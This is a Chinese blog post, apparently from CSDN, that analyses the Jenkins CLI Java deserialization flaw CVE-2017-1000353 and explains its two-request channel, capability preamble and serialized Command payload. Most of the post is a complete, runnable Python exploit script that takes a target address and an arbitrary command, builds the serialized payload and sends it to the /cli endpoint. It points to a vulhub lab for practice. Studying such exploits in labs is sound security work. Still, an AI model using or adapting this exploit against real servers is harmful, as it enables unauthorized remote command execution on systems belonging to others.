jenkins 反序列化漏洞 cve-2017-1000353

一、漏洞原理:

首先这是一个java反序列化漏洞,一定是command在序列化信息中,反序列化时候直接执行了该命令。

攻击过程学习:

下文的session是一个uuid,类型4

# 可以如下生成
session = uuid.uuid4()

1、首先要发送一个请求,是一个下载请求。这个请求是要启动一个双向数据传输频道。频道的标识就是session。而side字段则是用来标识传输方向

对应代码段:

def Download(url,session):
    headers = {'Side':'download'}
    headers['Content-type'] = 'application/x-www-form-urlencoded'
    headers['Session'] = session
    headers['Transfer-Encoding'] = 'chunked'
    try:
        response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)
    except Exception,ex:
        print ex
        exit(0)
    print response.content

然后是第二个请求:双向信道发送组件,第一个请求被阻塞,一直到第二个请求被发送。此时session与之前保持一致,side改成upload。

数据部分格式规范如下:

(1)前导码

前导码包含一个base64编码的序列化对象。“ 能力 ” 类型的序列化对象只是告诉服务器
客户端具有哪些能力(例如HTTP 分块编码)。

Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='

(2)Proto部分 (可能是所说的额外字节)

Proto = 'x00x00x00x00'

(3)payload部分

在前导码和一些额外的字节之后,Jenkins服务器期望类型为Command的序列化对象。由于Jenkins不验证序列化对象,所以可以发送任何序列化对象。

def Payload_Init(command):
    global File_Serialization
    command = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)
    print command
    return_number = os.system(command)
    if return_number != 0:
        print "Call Jar Packet To Init The Payload Error"
        exit(0)
    File_Serialization = open("./payload.ser","rb").read()

所有第二个数据包发送的数据整合:

def Create_Payload_Chunked():
    yield Premle
    yield Proto
    yield File_Serialization

发送第二个数据包:

def Upload_Chunked(url,session,data):
    headers = {'Side':'upload'}
    headers['Session'] = session
    headers['Content-type'] = 'application/octet-stream'
    headers['Accept-Encoding'] = None
    headers['Transfer-Encoding'] = 'chunked'
    headers['Cache-Control'] = 'no-cache'
    try:    
        response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)
    except Exception,ex:
        print ex
        exit(0)

整个攻击流程

def Attack():
    print "start"
    session = str(uuid.uuid4())
    thread_object = threading.Thread(target=Download,args=(Target,session))
    thread_object.start()
    time.sleep(1)
    print "pwn"
    #Upload(URL, session, create_payload())
    Upload_Chunked(Target,session,"asdf")

服务器端对应处理

反序列化command对象

然后这个方法在这里被调用

返回了这个序列化好的对象cmd

read方法调用,把返回的对象赋值给了cmd,也就是被读进一个ReaderThread类型的线程。

该线程由类“ CliEndpointResponse ”中调用的“ upload ”方法触发。

在该方法中,HTTP主体数据被读取,并且调用“notify”方法来通知线程。

整体POC

import os
import uuid
import gzip
import zlib
import time
import urllib
import socket
import urllib3
import requests
import threading
from optparse import OptionParser

#全局变量定义:
#Proxy = {"http":"http://127.0.0.1:8090","https":"http://127.0.0.1:8090"}#HTTP、HTTPS协议代理设置
Proxy = None#HTTP、HTTPS协议代理设置
Target="http://%s:8080/cli"#攻击目标
Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
Proto = 'x00x00x00x00'
File_Serialization = None
socket.setdefaulttimeout(3)


#全局函数定义
def Payload_Init(command):
    global File_Serialization
    command = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)
    print command
    return_number = os.system(command)
    if return_number != 0:
        print "Call Jar Packet To Init The Payload Error"
        exit(0)
    File_Serialization = open("./payload.ser","rb").read()

def Download(url,session):
    headers = {'Side':'download'}
    headers['Content-type'] = 'application/x-www-form-urlencoded'
    headers['Session'] = session
    headers['Transfer-Encoding'] = 'chunked'
    try:
        response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)
    except Exception,ex:
        print ex
        exit(0)
    print response.content

'''
def Upload(url,session,data):
    headers = {'Side':'upload'}
    headers['Session'] = session
    headers['Content-type'] = 'application/octet-stream'
    headers['Accept-Encoding'] = None
    try:
        response = requests.post(url,data=data,headers=headers,proxies=Proxy)
    except Exception,ex:
        print ex
        exit(0)
'''

def Upload_Chunked(url,session,data):
    headers = {'Side':'upload'}
    headers['Session'] = session
    headers['Content-type'] = 'application/octet-stream'
    headers['Accept-Encoding'] = None
    headers['Transfer-Encoding'] = 'chunked'
    headers['Cache-Control'] = 'no-cache'
    try:
        response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)
    except Exception,ex:
        print ex
        exit(0)

def Null_Payload():
    yield " "

"""
def Create_Payload():
    payload = Premle + Proto + File_Serialization
    return payload

"""

def Create_Payload_Chunked():
    yield Premle
    yield Proto
    yield File_Serialization

def Attack():
    print "start"
    session = str(uuid.uuid4())
    thread_object = threading.Thread(target=Download,args=(Target,session))
    thread_object.start()
    time.sleep(1)
    print "pwn"
    #Upload(URL, session, create_payload())
    Upload_Chunked(Target,session,"asdf")

#程序入口
if __name__ == "__main__":
    parser = OptionParser()
    parser.add_option("-t","--target",dest="target",help="Target IP address!")
    parser.add_option("-c","--command",dest="command",help="The command to execute!")
    parser.add_option("-p","--protocol",dest="protocol",help="Protocl is HTTP or HTTPS!")
    (options, args) = parser.parse_args()
    optionslist = [options.target,options.command,options.protocol]
    if None in optionslist or "" in optionslist:
        print "Please check your input parameters!"
    Target = Target%options.target
    command = options.command
    protocol = options.protocol
    if protocol == "HTTP":
        pass
    elif protocol == "HTTPS":
        Target = Target.replace("http","https")
    else:
        print "Unknown Protocol!"
    Payload_Init(command)
    Attack()

靶机平台:

https://vulhub.org/#/environments/jenkins/CVE-2017-1000353/

poc:

https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值